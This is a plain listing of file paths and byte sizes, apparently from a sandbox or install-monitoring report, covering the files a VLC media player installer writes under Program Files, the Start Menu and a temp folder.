%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (262251 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (15536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19152 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (37025 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (3686 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mr\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (17848 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slow.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\fetcher\tvrage.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png (126 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_md5.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_charset.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\zapiks.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_strings.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_url.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\index.html (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sql.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\dkjson.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config_cat.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_video_splitter.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\vlc.mo (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ms\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pluzz.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_objects.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_left.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (3312 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (30968 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (66168 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoC61D.tmp (2197249 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (6360 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\an\LC_MESSAGES\vlc.mo (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (17848 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (39329 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (16288 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (70870 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
